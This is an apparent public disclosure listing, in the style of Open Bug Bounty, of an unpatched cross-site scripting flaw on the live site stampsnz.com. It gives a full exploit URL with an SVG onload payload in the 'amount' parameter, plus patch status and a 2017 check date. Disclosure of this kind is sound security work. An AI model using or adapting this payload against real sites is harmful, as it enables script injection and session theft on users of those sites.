stampsnz.com XSS vulnerability

Vulnerable URL: https://stampsnz.com/convert.php?amount=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E1.5 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4868584 VIP website...